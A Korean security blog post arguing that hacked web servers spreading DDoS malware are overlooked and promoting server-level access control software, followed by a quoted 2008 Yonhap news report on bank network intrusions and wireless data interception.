그렇다면 이쯤에서 왜 DDoS 공격이 끊이지 않고 계속 발생하는지를 고민해볼 필요가 있다. 많은 보안 전문가들과 사이버수사대가 DDOS 공격의 진원지를 찾는데 에는 혈안이 되어 있다. 그리고 좀비PC를 찾아 IP를 차단하는 소극적인 대처는 열심히 하고 있다. 그러나 어디에서도 어느 기사에서도 수많은 PC를 좀비PC로 만든 중간 감염서버들에 대해서는 쉬쉬~하고 있는 이유가 참으로 궁금하다. 어쩌면 그 존재에 대해 정말로 모르고 있는 것 같기도 하다.

 

다음 그림을 보자.

 

연합뉴스에서 올린 DDOS 공격관련 개념을 설명하는 그림이다. 박스 하단의 악성코드 전파서버는 필자가 그려 넣은 그림이다. 실제로 DDoS 공격을 하기 위해서는 해커의 명령에 따라 공격을 수행하는 수많은 좀비PC C&C 서버들이 필요하다.

 

해커들이 그 수많은 공격도구가 설치된 PC”들 즉 좀비PC라 일컫는 PC와 중간에서 명령을 좀비PC에 하달하는 C&C 서버를 어떻게 확보할까? 설마 일일이 해당 PC와 서버 앞에 가서 공격도구를 설치하지는 않을 텐데 말이다. 그 방법은 여러 가지가 있지만 가장 흔한 방법 몇 가지를 소개하면 다음과 같다.

 

1.     공격도구가 첨부파일로 들어간 이 메일을 무작위로 보내 첨부파일을 실행하면 공격도구에 감염되도록 한다.

2.     인터넷에 즐비한 웹사이트를 해킹하여 사람들이 많이 방문하는 웹페이지를 변조하고 해당 웹페이지에 웹브라우저로 접근하면 공격도구가 있는 웹페이지로부터 다운로드 받아 설치되게 한다.

3.     메신저를 통해 파일을 전송하여 다운로드 받고 설치되게 한다.

 

이 중에서 3번은 정말 어떠한 보안 시스템으로도 차단하는 것이 불가능에 가깝다. 알려진 공격도구라면 백신을 통해 막을 수 있겠지만 7.7 대란처럼 새롭게 만들어진 공격도구라면 막을 수가 없다.

 

1번의 경우도 마찬가지다. 이메일 보안 시스템들이 있지만 역시 새로운 공격도구나 공격패턴이라면 차단하는 것이 불가능 하다.

 

이쯤 되면 1번과 3번의 공격에 의한 사용자 PC의 공격도구 감염여부는 순전히 개인 사용자들의 보안마인드에 달려있다고 해도 과언이 아니다.

 

1번과 3번의 경우 이미 백신에서 7.7 대란에서 해커에 의해 사용된 공격도구의 감염을 차단하고 있다. 비록 사후약방문 격이지만 사후대책으로는 그래도 충분한 효과를 발휘하고 있다. 하지만 아직까지 7.7 대란에 사용된 공격도구를 감염시키는 중계서버 역할을 수행하고 있는 홈페이지 서버들이 존재하고 있는 한 백신이 설치되지 않은 PC는 지속적으로 감염이 될 수 밖에 없다.  그럼에도 불구하고 2번 공격에 의해 해킹당한 서버들의 존재와 위험성 그리고 해당 서버들이 해킹 당한 사실에 대해서는 모두 함구하고 있다.

 

왜일까..?

 

그것은 바로 해킹 당한 사실을 감추기에 급급한 잘못된 보안 마인드와 IT보안 전문가라는 사람들조차 서버 운영체제에 대한 지식과 웹 서버의 해킹메커니즘에 대해 제대로 알지 못하기 때문인 경우가 대부분이다.

 

Unix Linux 웹서버를 운영하는 사이트들의 경우 파일과 프로세스의 소유자 및 접근 권한에 대해 무지하여 웹서버나 WAS 대몬의 소유자와 홈페이지 소스파일의 소유자 및 권한 설정이 잘못되어 있는 경우가 태반이다. 또한 윈도의 경우 운영체제의 근본적인 취약성으로 인해 운영체제의 취약성이 즉각적으로 홈페이지 위변조를 가능하게 된다.

 

하지만 이러한 취약성은 방화벽이나 IPS, 웹방화벽으로는 해킹을 막을 수 없다는 사실을 보안전문가들 조차도 시원스레 말해주지 않는다. 방화벽이나 IPS, 웹방화벽을 만드는 솔루션업체는 그러한 사실을 영업적인 이유로 인해 당연시하며 감추기에 급급하고 보안컨설팅 업체들도 그러한 해킹을 막을 수 있는 방법에 대해 알지 못하기 때문에 침묵하고 있다.

 

그렇다면 2번의 해킹을 막을 수 있는 방법은 없을까?

 

만약 2번의 해킹을 막거나 실시간으로 적발해낼 수 있다면 공격 근원지를 조기에 찾아 차단하는데 큰 도움이 될 것이다.

웹서버 자체의 취약성이나 Java의 취약성 그리고 오픈소스 게시판들의 취약성이 어쩔 수 없이 존재한다고 하면 2번의 해킹을 막기 위한 현재로서의 유일한 방법은 SecureOS를 이용해 홈페이지 소스파일들에 대해 근본적인 접근제어를 수행하는 방법밖에 존재하지 않는다.

 

해커들이 공격도구 전파서버로 만들기 위해 특정웹서버를 해킹 할 때 SecureOS 등을 통해 홈페이지 위변조 방지 정책이 적용되어 있다면 해커는 원격지에서 어떠한 방법으로도 홈페이지를 해킹하여 사용자들의 PC에 공격도구를 감염시키는 중계서버로 악용할 수 없다.

 

홈페이지 해킹을 근본적으로 차단하고 실시간으로 탐지해낼 수 있는 것이다.

 

하지만 네트워크 보안에 너무도 치중되어 있는 우리나라의 보안산업 구조상 서버 내의 자산(파일, 프로세스, 계정)에 대한 보안정책을 수립해줄 보안 전문가는 찾아보기 힘들며 네트워크에서 모든 보안을 담당해야 한다는 잘못된 마인드가 형성되어 있어 서버보안에 대한 필요성 자체를 크게 느끼지 못하는 정말 상황이 여기저기서 벌어지고 있다.

 

어느 하나의 보안 솔루션 만으로는 해킹을 차단할 수 없다.

 

네트워크 접근은 방화벽에서 담당하고 TCP/80을 차단할 수 없는 웹서버와 TCP/25를 차단할 수 없는 이메일 서버는 SecureOS에서 담당하여 홈페이지와 메일서버에 대한 보안을 강화하는 것이 기본이다. 더 나아가 내부자에 의한 악의적은 해킹을 막기 위해 DB보안과 서버보안을 강화하는 것이 좋다.

 

DDoS 공격을 방어하기 위해 네트워크 보안과 백신에 의존하려는 것은 바이러스에 의한 독감을 치료하기 위해 해열제와 기침약을 지속적으로 처방하는 것과 다르지 않다. 독감을 예방하기 위해서는 적절한 시기에 적절한 독감 백신을 맞아야 하는 것이다.

 



해커들 마저도 반발하고 있다.

미국 쇠고기 수입에 반발한 어느 해커가 한나라당의 홈페이지를 해킹했다.
홈페이지 해킹의 대표적인 사례다.  서버보안 교육할 때 홈페이지 위변조 해킹 사례로 활용하기에 너무 좋은 자료가 될 것 같다.

졸고 있는 교육생들을 깨우기에 너무 좋은 자료를 준 한나라당과 이명박 대통령께 감사한다.

사용자 삽입 이미지


사용자 삽입 이미지



사용자 삽입 이미지



사용자 삽입 이미지



사용자 삽입 이미지



사용자 삽입 이미지



이번엔 은행이었다..

금융권... 전산망에 관한한 가장 철저한 보안이 유지되고 있다고 "스스로들.." 자부하는 곳이다. 은행 임직원의 직장에 대한 자부심은 정말 대단하다.  그리고 스스로의 보안은 철저하다고 생각하고 있다. 그리고 실제로도 가장 철저한 보안을 유지하고 있는 곳이 바로 금융권이다.

"루트 권한 획득"

"루트"는 root 이다.

해커에게 root 사용자 계정의 권한이 탈취당했다는 것은... 서버에게는... 사망선고다. 복구..?? 포렌식..?? 다 필요없다. root 계정이 탈취당했다는 사실은 해킹의 흔적도 이미 삭제되고 없다는 것과 마찬가지다. root 계정을 해킹할 정도의 해커라면 게다가 아무리 헛점이 있었다 하더라도 은행의 네트웍을 해킹하고 서버의 root 권한을 획득한 해커라면... 서버에 자신의 흔적을 남길 가능성은 10% 미만이다. 이러한 해킹은 방화벽으로도 IPS로도 웹방화벽으로도 차단하기는 불가능하다.
시스템의 모든 권한을 장악할 수 있는 root(루트) 계정을 해커로부터 보호하기 위해서는 오로지 서버보안S/W (SecureOS : RedCastle)이 서버에 설치되고 최소한의 보안정책이 적용되어 있어야 한다.

이중삼중의 방화벽과 IPS 등으로 무장한 서버에 대한 나의 느낌은...

겉옷은 입었지만 팬티를 입지않은 것과 같지 않을까 생각한다.. ㅋㅋㅋ

아래 기사에서 잡혔다는 J씨는 어딘가.. 모자라는 듯한 느낌을 주고 있다. 실력에 비해 사회적인 감각은 많이 부족하다는 생각이 든다.

----------------------------------------------------------------------------------------

은행전산망 해킹 잇따라…`루트권한 획득' 충격(종합)

2008년 05월 15일 (목) 15:00   연합뉴스


시중은행 2곳 시도·제2금융권 1곳 성공 (서울=연합뉴스) 임화섭 장재은 기자 = 시중은행과 제2금융권 등의 전산망을 해킹했거나 해킹하려고 시도한 용의자들이 경찰에 잇따라 검거됐다. 특히 이 중에는 내부 전산망의 루트 권한(전산시스템의 모든 것을 통제할 수 있는 최고위 관리자 권한)을 획득한 뒤 은행측이 고객정보를 사용할 수 없도록 해 놓고 암호를 풀어 주는 대가로 거액을 요구하는 등 은행측을 완전히 `농락'하는 데 성공한 사례마저 있어 충격을 주고 있다. 경찰청 사이버테러대응센터는 15일 정보통신망 이용 촉진 및 정보보호에 관한 법률 위반 등 혐의로 미국인 J(24)씨에 대해 구속영장을 신청했다.
경찰에 따르면 J씨는 지난달 말 인천에 본사를 둔 모아저축은행에서 대출정보 관리시스템을 해킹해 루트 권한을 획득한 뒤 고객정보가 담긴 파일을 암호화해 사용 불능 상태로 만들고 이를 풀어 주는 대가로 20만달러를 요구한 혐의를 받고 있다. 경찰 관계자는 "해커들이 금융기관 내부 시스템 해킹에 실제로 성공해 모든 정보에 접근할 수 있고 시스템 전체를 좌지우지할 수 있는 루트 권한을 획득한 것은 이번이 처음"이라고 설명했다. 경찰은 J씨를 검거하면서 압수한 컴퓨터와 휴대용 저장장치 등을 정밀 분석하고 있으며 다른 은행을 상대로도 유사한 범죄를 저질렀는지, 해킹으로 확보한 은행 내부 자료를 유출했는지 등 여죄를 추궁할 방침이다.
한편 서울경찰청도 이날 은행의 인터넷뱅킹 고객민원센터에 설치된 무선 공유기를 통해 오가는 데이터를 가로채는 방식으로 해킹을 시도한 혐의(정보통신망 이용 촉진 및 정보보호에 관한 법률 위반)로 이모(51.무직)씨와 전산 기술자 김모(25)씨, 이모(36)씨를 구속했다. 경찰에 따르면 이씨 등은 지난 11일 0시 50분께부터 오전 1시 40분께까지 서울 중구의 하나은행 허브센터와 외환은행 본사 앞에 승용차를 주차해두고 무선 랜카드와 지향성 안테나(AP)를 장착한 노트북 컴퓨터로 인터넷 무선 공유기에서 흘러나오는 데이터를 채집한 혐의를 받고 있다. 조사 결과 이씨 등은 암호화돼 그대로 쓸 수는 없는 데이터를 채집한 뒤 중국으로 건너가 해독해서 고객계좌정보를 알아내 예금을 가로채려고 계획했던 것으로 드러났다.

경찰은 무선 공유기에서 나오는 데이터를 가로채는 수법의 해킹을 시도한 피의자가 검거된 것은 이번이 처음이라고 말했다. 이에 대해 하나은행 관계자는 "우리 경우는 내부 주 전산망에 대한 해킹 시도가 있었던 것은 아니고 인터넷뱅킹 고객민원센터에서 쓰는 무선 공유기에 대한 무단 접속 시도가 있었다가 실패한 경우"라고 설명했다.
solatido@yna.co.kr jangje@yna.co.kr

(끝) 주소창에 '속보'치고 연합뉴스 속보 바로 확인 <연합뉴스 긴급속보를 SMS로! SKT 사용자는 무료 체험!> <저작권자(c)연합뉴스. 무단전재-재배포금지.>